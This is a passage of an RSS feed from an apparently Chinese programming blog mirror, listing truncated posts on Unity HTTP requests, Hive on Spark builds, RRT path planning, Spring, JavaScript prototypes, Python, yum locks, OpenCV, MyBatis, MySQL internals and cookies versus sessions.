      <description>文章目录 🔍 方法一 ：new UnityWebRequest🔍 方法二 ：UnityWebRequest.Post❓ UnityWebRequest.Post 会使后端报出数据读取格式错误？❗ 正确的做法 在前后端的交互中，我们很经常将 Json 格式的数据装入请求体，向后端发送 Post 请求。 Unity 提供了 UnityWebRequest 这个和网络有关的类，我们可以借助它实现数据的请求和响应的接收。想了解详情可参考 Unity 官方文档中相关的 API 介绍：UnityWebRequest&#xA;那么下面就来为大家演示一下如何利用 UnityWebRequest 发送 Json 数据格式的 Post 请求。后端的部分我是用基于 Java 的 SpringBoot 框架搭建的程序，对应的接口用了 @RequestBody 注解来接收前端传来的 Json 请求参数。这里就不具体演示后端怎么写了，本篇博客还是把重点放在 Unity 前端的实现方法上，总的来说有两种实现方式，但不论是哪一种，思路都是一样的，只是代码的实现上有些不同。&#xA;🔍 方法一 ：new UnityWebRequest 如果在百度上搜，可能大部分会搜到这种实现方式，我先附上代码，然后再具体解释：&#xA;private void Start() { string url=&#34;xxx&#34;; string json=&#34;一个Json格式的数据，这里大家替换成自己想要测试的Json数据&#34;; StartCoroutine(I_RequestByJsonBodyPost(url,json)); } private static IEnumerator I_RequestByJsonBodyPost(string url, string json) { UnityWebRequest www = new UnityWebRequest(url, UnityWebRequest.kHttpVerbPOST); DownloadHandler downloadHandler = new DownloadHandlerBuffer(); www.</description>
    </item>
    <item>
      <title>Hive on Spark环境搭建（解决Hive3.1.2和Spark3.0.x版本冲突）</title>
      <link>https://bchobby.github.io/posts/9159d8146f27bba8ef80082d7388e196/</link>
      <pubDate>Tue, 21 Jun 2022 13:48:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9159d8146f27bba8ef80082d7388e196/</guid>
      <description>搭建数仓必要环境的注意事项 使用Hive做元数据存储和HQL解析，Spark做实际计算。（Hive on Spark）&#xA;Hive 使用3.1.2版本，Spark 使用3.0.3版本 。&#xA;由于Hive 3.1.2 和 Spark 3.0.3不兼容，需要修改Hive中关于Spark的源码和依赖引用。&#xA;重新编译Hive 下载Hive 3.1.2源码 ，上传并解压&#xA;apache-hive-3.1.2-src.tar.gz&#xA;下载Linux版IDEA，安装到带有桌面的Linux上。（使用root操作IDEA，bin/idea.sh打开idea）&#xA;用idea打开apache-hive-3.1.2-src，首先修改pom.xml&#xA;修改pom.xml，将spark.version改为3.0.3，scala.version改为2.12.15，scala.binary.version改为2.12 和 SPARK_SCALA_VERSION改为2.12&#xA;（修改前配置一下IDEA的maven使用的settings的位置）&#xA;在shell命令行中，进入hive src目录，执行mvn命令进行install，安装依赖&#xA;/opt/module/maven-3.8.5/bin/mvn clean -DskipTests -Pdist -Dmaven.javadoc.skip=true install 编译报错SparkCounter.java存在问题，打开idea，找到该java文件，并对源码进行分析。&#xA;根据编译报错，及官网API，发现&#xA;org.apache.spark.Accumulator 已不存在&#xA;org.apache.spark.AccumulatorParam 已不存在&#xA;这两个类由 AccumulatorV2代替&#xA;对累加器使用及获取进行修改&#xA;import java.io.Serializable; import org.apache.spark.api.java.JavaSparkContext; // org.apache.spark.Accumulator已被删除，由以下类代替 import org.apache.spark.util.LongAccumulator; // org.apache.spark.AccumulatorParam已被删除，一并删除它的实现类 public class SparkCounter implements Serializable { private String name; private String displayName; private LongAccumulator accumulator; private long accumValue; public SparkCounter() {} private SparkCounter(String name, String displayName, long value) { this.</description>
    </item>
    <item>
      <title>机器人抓取系列——路径规划（RRT原理）</title>
      <link>https://bchobby.github.io/posts/ac05befa0de2f3edf3cff06a5c78302c/</link>
      <pubDate>Tue, 21 Jun 2022 10:27:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac05befa0de2f3edf3cff06a5c78302c/</guid>
      <description>前面所述的点云分割＋姿态估计能完成机器人抓取工作，但是如果抓取环境特比复杂，固定的抓取路径中有很多障碍物，那么就需要一种路径规划方法来规划出一条无碰撞的路线。&#xA;目前应用在机械臂上的路径规划算法主要分为人工势场法以及RRT（随机生成树）的方法，这里我用的是RRT的方法，因此主要介绍RRT方法的原理&#xA;RRT RRT算法不仅可以在二维平面上适用，也适用于三维空间。今天主要记录一下二维的RRT算法原理，三维的RRT算法原理类似，只是增加一个维度即可。&#xA;RRT是一种通用的方法，不管什么机器人类型、不管自由度是多少、不管约束有多复杂都能用。而且它的原理很简单，这是它在机器人领域流行的主要原因之一。不过它的缺点也很明显，它得到的路径一般质量都不是很好，例如可能包含棱角，不够光滑，通常也远离最优路径。&#xA;那么下面就先介绍一下RRT的原理，然后再说一下路径不够光滑，以及远离最优距离是怎么解决的。&#xA;与其他方法相比较，RRT有什么优势呢？&#xA;其中一个很重要的优势就是快。RRT 的思想是快速扩张一群像树一样的路径以探索（填充）空间的大部分区域，伺机找到可行的路径。之所以选择“树”是因为它能够探索空间。在搜索轨迹的时候我们不知道出路应该在哪里，如果不在“确定”的搜索方向上，我们怎么找也找不到（找到的概率是0）。这时“随机”的好 处就体现出来了，虽然不知道出路在哪里，但是通过随机的反复试探还是能碰对的，而且碰对的概率随着试探次数的增多越来越大，就像买彩票一样，买的数量越多中奖的概率越大（RRT名字中“随机”的意思）。可是随机试探也讲究策略，如果我们从树中随机取一个点，然后向着随机的方向生长，那么结果是什么样的呢？见上图。可以看到，同样是随机树，但是这棵树并没很好地探索空间，它一直在起点（红点）附近打转。这可不好，我们希望树尽量经济地、均匀地探索空间，不要过度探索一个地方，更不能漏掉大部分地方。这样的一棵树怎么构造呢？&#xA;RRT的基本步骤是：&#xA;1、初始化整个空间，定义起始点，终点，采样点数，点与点之间的步长等信息&#xA;2、在空间中随机生成一个点Xrand&#xA;3、在已知树的点的集合中找到距离这个随机点最近的点Xnear&#xA;4、在Xnear到Xrand的直线方向上从Xnear以步长 t 截取点Xnew&#xA;5、判读Xnear和Xnew之间有没有障碍物，若存在障碍物则舍弃掉该点&#xA;6、将Xnew加入到树的集合中&#xA;7、循环2-6，循环截至的条件：有一个new点在终点的设定邻域内&#xA;虽然这种方法能够找到有效的路径，但是同样也有一些问题&#xA;1、路径不够平滑&#xA;2、不是最优路径&#xA;RRT* RRT*算法是相对于RRT算法的一个改进，相对于RRT来说，RRT *多了两个步骤：&#xA;1、重新为Xnew选择父节点&#xA;2、重布线随机树的过程&#xA;首先介绍RRT*重新选择父节点的过程&#xA;重新选择父节点过程 这里贴一张图，图中9节点是新产生的节点Xnew，6节点是产生9节点的父节点，，图中节点和节点之间的数值代表的是两点之间的欧氏距离。&#xA;在重新找父节点的过程中，以9节点 Xnew为圆心，以事先规定好的半径，找到在这个圆的范围内 Xnew 的近邻，也就是4，5，8节点（6节点是9的父节点）。&#xA;原来的路径0-4-6-9的代价为10+5+1=16&#xA;备选的三个节点 4，5，8和Xnew9节点组成的路径0 - 1 - 5 - 9，0 - 4 - 9和0 - 1 - 5 - 8 - 9代价分别为3 + 5 + 3 = 11，10 + 4 = 14和3 + 5 + 1 + 3 = 12，因此如果5节点作为9节点的新父节点，则路径代价相对是最小的，因此我们把9节点的父节点由原来的节点6变为节点5，则重新生成的随机树如图 b)所示。</description>
    </item>
    <item>
      <title>spring源码</title>
      <link>https://bchobby.github.io/posts/9cbf20e024c7aeff84b5fe0acdb59ea2/</link>
      <pubDate>Mon, 20 Jun 2022 23:16:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9cbf20e024c7aeff84b5fe0acdb59ea2/</guid>
      <description>1.spring架构 由架构可以看出，spring核心是BeanFactory，可以比做现实生活中工厂。&#xA;我们看看一个工厂的大致工作流程：&#xA;工厂加工一个产品需要有图纸，图纸存放于档案库。有了图纸，需要车间流水线，这个流水线能加工产品，就需要人、加工机器、水电气等等加工环境。环境准备工作好了，就可以按照图纸加工产品了。 再来看看spring生产Bean的大致过程：&#xA;现实中的零件图纸，在spring中称作BeanDefinition（Bean定义信息），spring要得到Bean定义信息，需要将资源Resource（xml、注解）解析出来得到Bean定义信息，并保存起来。工厂需要加工环境，spring也是一样，需要一些环境，比如加载java的Properties。有了BeanDefinition，就可以创建Bean，在创建Bean的过程中，spring定义后置处理器在一些步骤进行干预，最后完成Bean创建。这里也被称作Bean生命周期过程。 2.Spring容器刷新 测试方法&#xA;/** * 注解版Spring的用法 */ public class AnnotationMainTest { public static void main(String[] args) { //&#x9;new ClassPathXmlApplicationContext() ApplicationContext applicationContext = new AnnotationConfigApplicationContext(MainConfig.class); } } 进入构造方法&#xA;/** * Create a new AnnotationConfigApplicationContext, deriving bean definitions * from the given component classes and automatically refreshing the context. * @param componentClasses one or more component classes &amp;amp;mdash; for example, * {@link Configuration @Configuration} classes */ public AnnotationConfigApplicationContext(Class&amp;lt;?</description>
    </item>
    <item>
      <title>JS中的原型链(超清晰理解)</title>
      <link>https://bchobby.github.io/posts/29d86bdcea3d80d25e068b5a2866f84f/</link>
      <pubDate>Mon, 20 Jun 2022 22:44:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29d86bdcea3d80d25e068b5a2866f84f/</guid>
      <description>什么是原型链 原型链，所有的原型构成了一个链条，这个链条我们称之为原型链（prototype chain)。&#xA;原型链的案例 如果我们执行下面这段代码,因为没有定义address这个属性，程序结果理所当然的是undefined。&#xA;let obj = { name : &#39;harry&#39;, age:18 } console.log(obj.address); //undefined 这个时候经历了什么呢？JS引擎线从Obj.address里寻找，发现没有找到，然后接着去找obj.__ proto __ 里面寻找，发现还是没找到，所以结果为undefined。我们可以给obj.__ proto __ 赋值&#xA;let obj = { name : &#39;harry&#39;, age:18 } obj.__proto__ = { address:&#39;上海&#39; } console.log(obj.address); //上海 或者这样&#xA;obj.__proto__ = { //这里一定要开辟一个空间，不能直接写obj.__proto__.__proto__ = {} } obj.__proto__.__proto__= { address:&#39;上海&#39; } console.log(obj.address); //上海 接着套娃&#xA;let obj = { name : &#39;harry&#39;, age:18 } obj.__proto__ = { } obj.__proto__.__proto__= { } obj.</description>
    </item>
    <item>
      <title>python学习-6-面向对象</title>
      <link>https://bchobby.github.io/posts/bacaba813603d3356022e1ab4f118d9a/</link>
      <pubDate>Mon, 20 Jun 2022 22:02:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bacaba813603d3356022e1ab4f118d9a/</guid>
      <description>类与实例 创建类的格式: class Student(object): # class 类名(继承) pass init()方法就是java中的构造器类中的self相当于java中的this,java不用显示声明,python中需要在参数列表中声明 第一个参数一定是self 访问限制 私有属性用双下划线__开头,只有内部可访问 (private) 访问需要类提供get方法,这和java一样&#xA;_ 修改就需要set方法实际上,并不是私有的,只是python解释器给属性改了一个名,变为._类名__属性名 python中双下划线开头与结尾的,都是特殊变量,一般不能用发现个好玩的,即使类中没有的属性,也是可以xx.xx = xx进行设置的,然后就可以使用了 继承 继承会引发多态 子类是父类,父类不是子类调用方只管调用,不管细节,无需知道子类型,从而尽可能满足开闭原则 java是静态语言,它在进行编译的时候就要来检查传入对象的类型是否合法Python是动态语言,不需要保证类型完全,只需要它有本方法中需要的方法和属性就ok了 鸭子类型,无需严格继承,只要 看起来像鸭子,走起来也像鸭子 就ok 对象信息 type(obj) 类型,指向函数 type(obj)if type(xxx) == type(已知类型)if type(xxx) == types.FunctionType 判断是否是函数… instance(obj,已知类型) 判断类型是否相等 返回True or False可用于继承判断是否是其中一种 instance(obj,(xxx,xxx)) dir(obj) 将所有方法 属性 字符串列表返回len(obj) 获取对象的长度 自动调用__len__()方法可以被复写 hasattr(obj,“xxx”) 是否拥有某种属性 注意是字符串 getattr(obj,“xxx”,404) 最后一个参数是默认值,防止不存在报错 方法和属性都是一样的,都用这个 setattr(obj,“xxx”,xx)结合上面的鸭子类型,可以使用对象信息来判断是否像鸭子 if hasattr(obj,“xxx”): … 实例属性与类属性 实例可以任意绑定属性 类没有定义name属性,但我可以 实例.name=xxx,然后用 slots 作为动态语言,python可以给实例绑定方法与属性而给类动态的绑定,则可以对每个实例都适用,具体操作和实例的绑定一样为了限制绑定,需要__slots__ 其作为一个变量,可以定义 允许绑定的 属性名称其他属性是不能够绑定的对继承的子类无效 @property 一般的属性都是不对外暴露的,所以需要getter方法,setter方法 这样使用起来就很麻烦 所以实际上可以使用 @property 来让get方法变成属性,然后使用 @属性.</description>
    </item>
    <item>
      <title>【极客时间-网络编程实战】</title>
      <link>https://bchobby.github.io/posts/2833ed231256fdc337bd4df8cd9c06d6/</link>
      <pubDate>Mon, 20 Jun 2022 20:13:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2833ed231256fdc337bd4df8cd9c06d6/</guid>
      <description> 极客时间-网络编程 盛延敏 文件&#xA;实战思维导图&#xA;开篇词│学好网络编程，需要掌握哪些核心问题? 学习高性能网络编程，掌握两个核心要点就可以了：第一就是理解网络协议，并在这个基础上和操作系统内核配合，感知各种网络 I/O 事件；第二就是学会使用线程处理并发。&#xA;基础篇:一起来认识网络编程 01 追古溯源︰TCP/IP和Linux是如何改变世界的? 02网络编程模型:理解“客户端–服务器”的基本概念 03套接字和地址:电话和电话号码 04 TCP三次握手:怎么使用套接字格式建立连接? 05使用套接字进行读写:开始交流吧 06嗨，别忘了UDP这个小兄弟 07本地套接字:如何入门本地套接字? 08 工欲善其事必先利其器:学会使用各种工具 09基础篇总结与答疑 提高篇:一起来解决异常问题 10TIME_WAIT︰隐藏在细节下的魔鬼 11优雅地关闭还是粗暴地关闭? 12连接无效:使用Keep-Alive还是应用心跳来检测? 13小数据包应对之策:理解TCP协议中的动态数据传输 14 What ? UDP也可以是“已连接”? 15怎么老是出现“地址已经被使用”? 16如何理解TCP的“流”? 17TCP并不总是“可靠”的? 18防人之心不可无:检查数据的有效性 19提高篇总结与答疑 性能篇:学会优雅地提高程序性能 20鼎鼎大名的select:看我如何同时感知多个I/O事件 21poll:另一种I/O多路复用 22非阻塞I/O:提升性能的加速器 23 Linux利器:epoll的前世今生 24C10K问题:高并发模型设计 25使用阻塞I/O和进程模型:用最传统的方式 26使用阻塞I/O和线程模型:换—种轻量的方式 27 I/O多路复用遇上线程:使用poll单线程处理所有I/O事件 28 I/O多路复用进阶:子线程使用poll处理连接I/O事件 29 渐入佳境:使用epoll和多线程模型 30真正的大杀器:异步I/O探索 31性能篇总结与答疑 实战篇:让我们一起来造个轮子 32自己动手写高性能HTTP服务器(一)︰设计和思路 33 自己动手写高性能HTTP服务器(二):I/O处理模型和多线程模型实现 34自己动手写高性能HTTP服务器（三):TCP字节流处理和HTTP协议实现 35实战篇总结与答疑 </description>
    </item>
    <item>
      <title>yum提示Another app is currently holding the yum lock； waiting for it to exit...</title>
      <link>https://bchobby.github.io/posts/0b334a21007fbe97c090e1932d3420e7/</link>
      <pubDate>Mon, 20 Jun 2022 20:01:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b334a21007fbe97c090e1932d3420e7/</guid>
      <description>使用yum安装计划任务功能，结果提示：&#xA;# yum -y install vixie-cron Loaded plugins: fastestmirror, refresh-packagekit, security Existing lock /var/run/yum.pid: another copy is running as pid 25960. Another app is currently holding the yum lock; waiting for it to exit... 可能是系统自动升级正在运行，yum在锁定状态中。&#xA;已经有一个yum进程在运行了，使用kill干掉它：&#xA;# kill -s 9 25960 # ps aux|grep yum root 6744 0.0 0.0 103260 900 pts/1 S+ 14:59 0:00 grep yum root 25960 0.0 0.0 0 0 ? Z Sep19 0:01 [yumBackend.py] &amp;lt;defunct&amp;gt; 很遗憾，kill对付不了它，那怎么办呢？</description>
    </item>
    <item>
      <title>python-opencv边缘检测与人脸检测应用</title>
      <link>https://bchobby.github.io/posts/ed38cbc5dfc838a7ec718740c4fb70a1/</link>
      <pubDate>Mon, 20 Jun 2022 19:16:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed38cbc5dfc838a7ec718740c4fb70a1/</guid>
      <description>10.python-opencv边缘检测与人脸检测应用 第一章 python-opencv-图片导入和显示&#xA;第二章 python-opencv图像简单处理&#xA;第三章 python-opencv图像mask掩膜处理&#xA;第四章 python-opencv图像马赛克&#xA;第五章 python-opencv人脸马赛克&#xA;第六章 python-opencv人脸检测&#xA;第七章 python-opencv图像张贴&#xA;第八章 python-opencv轮廓绘制&#xA;第九章 python-opencv边缘检测&#xA;文章目录 10.python-opencv边缘检测与人脸检测应用前言一、完整代码二、部分代码说明图片处理部分轮廓检测部分人脸检测及处理部分 结果展示 前言 本章主要介绍如何在人脸区域张贴图像，主要思路为：首先检测到人脸区域，对于要张贴的图像进行轮廓检测，检测到轮廓后在人脸区域绘制轮廓，并将洛阔中的图像张贴到人脸区域。&#xA;一、完整代码 import cv2 import numpy as np if __name__ == &#39;__main__&#39;: # 加载图片 img = cv2.imread(&#39;./tong.jpg&#39;) img2 = cv2.imread(&#39;./dog.png&#39;) # 加载人脸检测器 face_detector = cv2.CascadeClassifier(&#39;./haarcascade_frontalface_alt.xml&#39;) # 见图片转化为灰度图片 img_gray = cv2.cvtColor(img, code = cv2.COLOR_BGR2GRAY) img2_gray = cv2.cvtColor(img2, code = cv2.COLOR_BGR2GRAY) # 图像二值化，binary二进制图片（黑白图），其中，threshold为阀值，阀值以下变为0，阀值以上变为255 threshold, binary = cv2.threshold(img2_gray, 180, 255, cv2.</description>
    </item>
    <item>
      <title>MyBatis</title>
      <link>https://bchobby.github.io/posts/d50c9d6423228c64ae67255b0ef3a317/</link>
      <pubDate>Mon, 20 Jun 2022 15:24:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d50c9d6423228c64ae67255b0ef3a317/</guid>
      <description>MyBatis特性 MyBatis 是支持定制化 SQL、存储过程以及高级映射的优秀的持久层框架MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集MyBatis可以使用简单的XML或注解用于配置和原始映射，将接口和Java的POJO（Plain Old Java Objects，普通的Java对象）映射成数据库中的记录MyBatis 是一个 半自动的ORM（Object Relation Mapping）框架-下面有解释 搭建MyBatis 1.在pom.xml种将打包方式写成 &amp;lt;packaging&amp;gt;jar&amp;lt;/packaging&amp;gt; 2.引入依赖 &amp;lt;dependencies&amp;gt; &amp;lt;!-- Mybatis核心 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.7&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- junit测试 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.12&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- MySQL驱动 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.16&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- 日志--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;log4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;log4j&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.17&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 3.创建mybatis-config.xml-核心配置文件 核心配置文件中的标签必须按照固定的顺序(有的标签可以不写，但顺序一定不能乱)：&#xA;properties、settings、typeAliases、typeHandlers、objectFactory、objectWrapperFactory、reflectorFactory、plugins、environments、databaseIdProvider、mappers&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?&amp;gt; &amp;lt;!DOCTYPE configuration PUBLIC &#34;-//mybatis.org//DTD Config 3.0//EN&#34; &#34;http://mybatis.org/dtd/mybatis-3-config.dtd&#34;&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;!--引入properties文件，此时就可以${属性名}的方式访问属性值--&amp;gt; &amp;lt;properties resource=&#34;</description>
    </item>
    <item>
      <title>沉浸式面试：MySQL原理</title>
      <link>https://bchobby.github.io/posts/cacd6ee4592f4e207dd12f3753f10286/</link>
      <pubDate>Mon, 20 Jun 2022 14:34:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cacd6ee4592f4e207dd12f3753f10286/</guid>
      <description>今天我们来聊聊MySQL原理&#xA;基础篇主要是侧重基础知识，原理篇是有一定基础后的递进，通过学习本篇，不仅可以进一步了解MySQL的各项特性，还能为接下来的容灾调优打下坚实的基础。&#xA;现在，就让我们继续跟随阿柴进行这场沉浸式面试吧。&#xA;ACID与隔离级别&#xA;那你先来说说MySQL的四种隔离级别吧。&#xA;SQL标准定义了4类隔离级别，包括一些具体规则，用来限定事务之间的隔离性。&#xA;这四种级别分别是读未提交、读已提交、可重复读、串型化。&#xA;读未提交，顾名思义，就是可以读到还没有提交的数据；读已提交会读到其它事务已经提交的数据；可重复读确保了同一事务中，读取同一条数据时，会看到同样的数据行；串型化通过强制事务排序，使其不可能相互冲突。&#xA;重点介绍下Repeatable Read吧。&#xA;Repeatable Read就是可重复读。它确保了在同一事务中，读取同一条数据时，会看到同样的数据行。&#xA;它也是MyQL的默认事务隔离级别，这种级别事务之间影响很小，通常已经能够满足日常需要了。&#xA;说出四种隔离级别只是最低要求，能每一项具体去阐述特性就算过关。如果还能指出存在的问题、依赖的技术，那么就是妥妥的加分了！&#xA;下面我们来聊聊InnoDB中ACID的实现吧，先说一下原子性是怎么实现的。&#xA;事务要么失败，要么成功，不能做一半。聪明的InnoDB，在干活儿之前，先将要做的事情记录到一个叫undo log的日志文件中，如果失败了或者主动rollback，就可以通过undo log的内容，将事务回滚。&#xA;那undo log里面具体记录了什么信息呢？&#xA;undo log属于逻辑日志，它记录的是sql执行相关的信息。当发生回滚时，InnoDB会根据undo log的内容做与之前相反的工作，使数据回到之前的状态。。。&#xA;那持久性又是怎么实现的？&#xA;持久性是用来保证一旦给客户返回成功，数据就不会消失，持久存在。最简单的做法，是每次写完磁盘落地之后，再给客户返回成功。但如果每次读写数据都需要磁盘IO，效率就会很低。&#xA;为此，追求极致的InnoDB提供了缓冲。当向数据库写入数据时，会首先写入缓冲池，缓冲池中修改的数据会定期刷新到磁盘中，这一过程称为刷脏。&#xA;如果MySQL宕机，那此时Buffer Pool中修改的数据不是丢失了吗？&#xA;Innodb引入了redo log来解决这个问题。当数据修改时，会先在redo log记录这次操作，然后再修改缓冲池中的数据，当事务提交时，会调用fsync接口对redo log进行刷盘。&#xA;如果MySQL宕机，重启时可以读取redo log中的数据，对数据库进行恢复。由于redo log是WAL日志，也就是预写式日志，所有修改先写入日志，所以保证了数据不会因MySQL宕机而丢失，从而满足了持久性要求。&#xA;按你所说，redo log 也需要写磁盘，为什么不直接将数据写磁盘呢？&#xA;嗯。。。主要是有以下两方面的原因：&#xA;1.对Buffer Pool进行刷脏是随机IO，因为每次修改的数据位置随机，但写redo log是追加操作，属于顺序IO；&#xA;2.刷脏是以数据页为单位，MySQL默认页大小是16KB，一个Page上一个小修改都要整页写入，所以积累一些数据一并写入会大大提升性能；而redo log中只包含真正需要写入的部分，无效IO比较少。&#xA;redo log是持久性的核心，WAL的思路也是持久化的常见解决方式，只有先落地了，才能应对后续的各种异常。&#xA;那隔离性怎么实现呢？&#xA;MySQL能支持Repeatable Read这种高隔离级别，主要是锁和MVCC一起努力的结果。&#xA;我先说锁吧。事务在读取某数据的瞬间，必须先对其加行级共享锁，直到事务结束才释放；事务在更新某数据的瞬间，必须先对其加行级排他锁，直到事务结束才释放；&#xA;为了防止幻读，还会有间隙锁进行区间排它锁定。&#xA;然后是MVCC，多版本并发控制，主要是为了实现可重复读，虽然锁也可以，但是为了更高性能考虑，使用了这种多版本快照的方式。&#xA;因为是快照，所以一个事务针对同一条Sql查询语句的结果，不会受其它事务影响。&#xA;索引原理&#xA;索引的底层实现是什么？&#xA;用的B+树，它是一个N叉排序树，每个节点通常有多个子节点。节点种类有普通节点和叶子节点。根节点可能是一个叶子节点， 也可能是个普通节点。&#xA;B+树&#xA;那MySQL为什么用树做索引？&#xA;一般而言，能做索引的，要么Hash，要么树，要么就是比较特殊的跳表。Hash不支持范围查询，跳表不适合这种磁盘场景，而树支持范围查询，且多种多样，很多树适合磁盘存储。所以MySQL选择了树来做索引。&#xA;那你能说说为什么是B+树，而不是平衡二叉树、红黑树或者B-树吗？&#xA;平衡二叉树追求绝对平衡，条件比较苛刻，实现起来比较麻烦，每次插入新节点之后需要旋转的次数不能预知。&#xA;同时，B+树优势在于每个节点能存储多个信息，这样深度比平衡二叉树会浅很多，减少数据查找的次数。&#xA;平衡二叉树&#xA;红黑树放弃了追求完全平衡，只追求大致平衡，在与平衡二叉树的时间复杂度相差不大的情况下，保证每次插入最多只需要三次旋转就能达到平衡，实现起来也更为简单。&#xA;但是红黑树多用于内部排序，即全放在内存中，而B+树多用于外存上时，B+也被称为一个磁盘友好的数据结构。&#xA;同时，红黑树和平衡二叉树有相同缺点，即每个节点存储一个关键词，数据量大时，导致它们的深度很深，MySQL每次读取时都会消耗大量IO。&#xA;红黑树&#xA;那B+树相比B-树有什么优点呢？</description>
    </item>
    <item>
      <title>常见面试题目解答之cookie和session</title>
      <link>https://bchobby.github.io/posts/ee14090af5d8700ddb0b9955b0b14884/</link>
      <pubDate>Sun, 19 Jun 2022 16:44:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee14090af5d8700ddb0b9955b0b14884/</guid>
      <description>http协议是无状态的，在很多场景下往往需要保持会话状态，因此cookie和session应运而生。&#xA;cookie cookie的内容就是保存的一小段文本信息，这些文本信息组成了一个通行证。&#xA;存在本地的Cookies实际上是一个sqlite数据库文件&#xA;key-value的数据：&#xA;● name：cookie的名称&#xA;● value：cookie的值&#xA;● max-age：生存周期，max-age用秒来设置cookie的生存期&#xA;max-age属性为正数，则表示该cookie会在max-age秒之后自动失效max-age为负数，则表示该cookie仅在本浏览器窗口以及本窗口打开的子窗口内有效，关闭窗口后该cookie即失效。max-age为0，则表示删除该cookie ● domain：Cookie 所属的域 path：Cookie 来源的网址路径&#xA;● secure：该Cookie是否仅被使用于安全协议传输。安全协议有HTTPS，SSL等，在网络上传输数据之前先将数据加密。&#xA;● httponly：指示 Cookie 应仅由浏览器在 HTTP 请求中设置，而无法通过 JavaScript 访问。&#xA;以自动填充用户名和密码登录为例介绍cookie：&#xA;当我们登录某个网站时，在输入账号和密码之后，当勾选记住密码，点击登录后，浏览器会将表单上的数据作为登录请求的内容发送到服务器，服务器接收到登录请求后，会对记住密码判断是否勾选，如果勾选，就会设置set-cookie字段（里面是一些键值对），然后在响应的头部中放入该字段，然后返回给浏览器。浏览器在接收到响应之后，会查看是否有set-cookie信息，如果有，就会将服务器发挥的cookie信息存储起来。&#xA;当用户再次打开此登录页面时，浏览器发送获取登录页面的http请求，此时会将cookie放到请求的头部。服务器端接收到请求后（另外，登录后发送其他请求时由于会将cookie一起发送到服务器，服务器可以通过分析cookie中的内容，得到客户端的特有信息，比如：知道用户名）返回登录的页面http响应，浏览器加载并渲染该登录页面，登录页面中的js代码会检查并获取到cookie中的登录信息，如果当前的cookie在有效期内，便会提取到账号密码填入到表单中，此时便完成了自动填充账号密码。&#xA;关于cookie的生存周期&#xA;cookie并不是关闭浏览器后就会自动清除，它的生存周期可以通过查看cookie的maxAge属性获得，如果该属性值为session，表示和session一起失效。&#xA;cookie不可以跨域名、跨浏览器使用，这是其隐私安全机制决定的。因此你在一个网站记住的账号密码，在另一个其他网站是不可以使用的，即使二者完全一样。&#xA;session session的原理 cookie虽然可以记录会话状态，但是由于其存储在客户端，用户是可见的，并且可以随意地修改，其安全性无法得到保证。而session是存储在服务端的，其安全性更高。&#xA;session的工作原理如下：&#xA;服务器程序运行的过程中产生session，并且为该session生成唯一的session ID 这个session ID在随后的请求中会被用来重新获得已经创建的session。在session创建后，就可以调用session相关的方法向session中增加内容，这些内容只会保存在服务器中。 服务器将session ID发送给客户端客户端再次发送请求时，会将这个session ID带上服务器接收到请求之后，根据session ID找到相应的session，完成请求响应。 session的传输媒介 第一种方式：通过cookie传输&#xA;session的信息保存在服务器端，但是它对客户端是透明的，他的正常运行需要客户端浏览器的支持，因为session需要使用cookie作为识别标志。服务器会向客户端发送一个关于session的cookie，它的值为该session的ID。后续客户端发送消息时，只需要在cookie中带上这个session ID即可。&#xA;第二种方式：通过URL地址重写&#xA;如果客户端浏览器禁用cookie或者不支持cookie，此时对于session的传输方法就需要利用URL地址重写。&#xA;它的原理是将该用户的session ID信息重写到URL地址中，服务区能够解析重写后的URL，获得session的ID，这样即使客户端不支持cookie，也可以使用session来记录用户状态。&#xA;session的生存周期问题：&#xA;session的生存周期可以通过cookie中的session ID的expire字段来查看，如果该值为-1表示只要关闭该窗口，session就会失效。&#xA;二者的区别 ● 存储位置不同&#xA;○ session存储在服务器端，cookie存储在浏览器端&#xA;● 生命周期不同&#xA;○ session依赖于jessonid的cookie，它的过期时间默认为-1，只要关闭窗口该session就会失效。session不能达到长期有效的效果，即使利用url重写也不行，因为如果session设置的超时时间过长，服务器累计的session过多，会导致内存溢出。服务器会把长时间没有活动的Session从服务器内存中清除，此时Session便失效（可以人为设置）&#xA;○ cookie也可以预先设置生命周期，或者是永久的保存在本地文件中存储内容的&#xA;○ 服务器如何设置cookie失效，通过在返回的响应中设置cookie的失效时间</description>
    </item>
    <item>
      <title>华为OD前端面试题</title>
      <link>https://bchobby.github.io/posts/945b975f0bcac567df90a75ecb9821f3/</link>
      <pubDate>Sun, 19 Jun 2022 11:12:32 +0800</pubDate>
